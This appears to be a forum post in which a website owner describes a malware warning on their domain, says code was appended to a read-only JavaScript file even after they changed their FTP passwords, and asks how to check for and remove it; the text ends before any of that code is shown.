“mydomain.com contains malware. Your computer might catch a virus if you visit this site.”
After checking in webmaster tool I found java script file is changed and some codes are appended in this file. But earlier I changed the FTP and other passwords.
I am surprised how these codes are inserted in read only file on server while ftp was changed earlier.
What is this?.
Is this virus attack or something else and how I can check and remove virus (if any)?
Following are the codes added in javascript file.
